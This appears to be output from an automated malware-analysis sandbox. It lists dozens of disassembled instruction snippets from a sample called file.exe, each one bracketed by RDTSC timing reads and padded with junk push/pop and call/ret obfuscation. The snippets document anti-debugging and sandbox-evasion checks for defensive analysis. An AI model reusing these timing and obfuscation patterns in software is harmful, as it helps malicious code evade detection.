Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724436 second address: 72444D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F2C24E6519Bh 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727918 second address: 72792C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2C247D9BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F2C247D9BE6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FCFBB second address: 6FD022 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007F2C24E651A0h 0x0000000f jmp 00007F2C24E6519Ah 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F2C24E65198h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f lea eax, dword ptr [ebp+12491D0Eh] 0x00000035 nop 0x00000036 pushad 0x00000037 push edx 0x00000038 jns 00007F2C24E65196h 0x0000003e pop edx 0x0000003f je 00007F2C24E65198h 0x00000045 push edi 0x00000046 pop edi 0x00000047 popad 0x00000048 push eax 0x00000049 pushad 0x0000004a jg 00007F2C24E65198h 0x00000050 pushad 0x00000051 push esi 0x00000052 pop esi 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD109 second address: 6FD10D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD5DE second address: 6FD646 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E6519Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 5760398Fh 0x00000010 mov dword ptr [ebp+122D26F4h], esi 0x00000016 mov dword ptr [ebp+122D1A87h], esi 0x0000001c call 00007F2C24E65199h 0x00000021 jmp 00007F2C24E651A5h 0x00000026 push eax 0x00000027 pushad 0x00000028 push esi 0x00000029 jmp 00007F2C24E6519Bh 0x0000002e pop esi 0x0000002f jg 00007F2C24E6519Ch 0x00000035 popad 0x00000036 mov eax, dword ptr [esp+04h] 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD646 second address: 6FD64A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD64A second address: 6FD658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD658 second address: 6FD65C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD65C second address: 6FD681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F2C24E6519Ch 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007F2C24E6519Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD890 second address: 6FD89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2C247D9BE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDE30 second address: 6FDECD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F2C24E6519Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jbe 00007F2C24E651A4h 0x00000014 nop 0x00000015 call 00007F2C24E6519Eh 0x0000001a mov dword ptr [ebp+12482A16h], eax 0x00000020 pop edx 0x00000021 jmp 00007F2C24E651A5h 0x00000026 push 0000001Eh 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007F2C24E65198h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 add dword ptr [ebp+122D2777h], edi 0x00000048 mov edx, 189B5363h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 jng 00007F2C24E65196h 0x00000057 jmp 00007F2C24E6519Bh 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDECD second address: 6FDED3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDED3 second address: 6FDED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE1ED second address: 6FE1F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE1F3 second address: 6FE254 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F2C24E651A2h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jg 00007F2C24E6519Ch 0x00000018 mov eax, dword ptr [eax] 0x0000001a jl 00007F2C24E651B4h 0x00000020 je 00007F2C24E651AEh 0x00000026 jmp 00007F2C24E651A8h 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F2C24E6519Ah 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE3E2 second address: 6FE3E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE3E9 second address: 6FE44A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F2C24E65198h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 lea eax, dword ptr [ebp+12491D0Eh] 0x00000028 xor edx, dword ptr [ebp+122D2863h] 0x0000002e mov edx, dword ptr [ebp+122D1F80h] 0x00000034 nop 0x00000035 jp 00007F2C24E651ABh 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushad 0x00000040 popad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE44A second address: 6FE44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE44F second address: 6DEE4F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2C24E65198h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F2C24E65198h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov dword ptr [ebp+124899D2h], edi 0x0000002b call dword ptr [ebp+122D1DCAh] 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jmp 00007F2C24E6519Bh 0x00000039 jnc 00007F2C24E65196h 0x0000003f pushad 0x00000040 popad 0x00000041 jbe 00007F2C24E65196h 0x00000047 popad 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEE4F second address: 6DEE53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEE53 second address: 6DEE78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A1h 0x00000007 jmp 00007F2C24E651A0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEE78 second address: 6DEE7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEE7E second address: 6DEE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEE84 second address: 6DEE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEE88 second address: 6DEE8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0C2F second address: 6C0C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727D88 second address: 727D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2C24E65196h 0x0000000a jo 00007F2C24E65196h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727D99 second address: 727DA5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2C247D9BEEh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7281FD second address: 728203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 728203 second address: 728209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 728209 second address: 728210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72846B second address: 72847A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2C247D9BE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72847A second address: 72847F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BC33 second address: 72BC3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F2C247D9BE6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BC3F second address: 72BC43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BC43 second address: 72BC49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F48A second address: 72F490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F490 second address: 72F49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2C247D9BE6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F49F second address: 72F4A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F4A3 second address: 72F4A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAFAA second address: 6AAFAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAFAE second address: 6AAFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F2C247D9BF9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734BFE second address: 734C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733B89 second address: 733B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733B91 second address: 733B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733B95 second address: 733B9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733F9C second address: 733FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7342D8 second address: 7342E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7342E0 second address: 7342E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7342E7 second address: 734314 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2C247D9BF5h 0x0000000e jnc 00007F2C247D9BE6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734495 second address: 7344AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C24E651A3h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73490F second address: 734916 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734916 second address: 73491E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739340 second address: 739346 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7394A0 second address: 7394A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7394A4 second address: 7394D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C247D9BF1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d jmp 00007F2C247D9BF2h 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739936 second address: 739942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2C24E65196h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739942 second address: 739947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739E3A second address: 739E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739E3E second address: 739E56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739E56 second address: 739E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739E5C second address: 739E61 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738BBE second address: 738BD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2C24E651A4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738BD8 second address: 738BE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F2C247D9BE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D793 second address: 73D79D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2C24E65196h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7401B5 second address: 7401CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2C247D9BF5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7401CF second address: 7401E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C24E651A3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7444F5 second address: 7444FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7444FA second address: 744519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C24E651A9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744519 second address: 74452A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007F2C247D9C14h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74452A second address: 744530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744530 second address: 744534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7441B4 second address: 7441B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7441B9 second address: 7441BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74AC4F second address: 74AC7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2C24E651A7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F2C24E6519Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74AC7A second address: 74ACA7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2C247D9BEAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e jns 00007F2C247D9BE6h 0x00000014 pop ebx 0x00000015 jmp 00007F2C247D9BEEh 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74ACA7 second address: 74ACAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749942 second address: 749946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749946 second address: 749968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F2C24E6519Eh 0x0000000c pop ebx 0x0000000d jne 00007F2C24E651A8h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749AAB second address: 749AB1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749AB1 second address: 749AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2C24E651A7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDC0F second address: 6FDC13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDE56 second address: 6FDECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 call 00007F2C24E6519Eh 0x0000000b mov dword ptr [ebp+12482A16h], eax 0x00000011 pop edx 0x00000012 jmp 00007F2C24E651A5h 0x00000017 push 0000001Eh 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F2C24E65198h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 add dword ptr [ebp+122D2777h], edi 0x00000039 mov edx, 189B5363h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jng 00007F2C24E65196h 0x00000048 jmp 00007F2C24E6519Bh 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749D40 second address: 749D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74DD62 second address: 74DD66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E051 second address: 74E05D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jg 00007F2C247D9BE6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E05D second address: 74E070 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2C24E65196h 0x00000008 js 00007F2C24E65196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E18A second address: 74E190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E190 second address: 74E19D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F2C24E65196h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E19D second address: 74E1A3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E1A3 second address: 74E1A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E1A9 second address: 74E1B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2C247D9BE6h 0x0000000a rdtsc
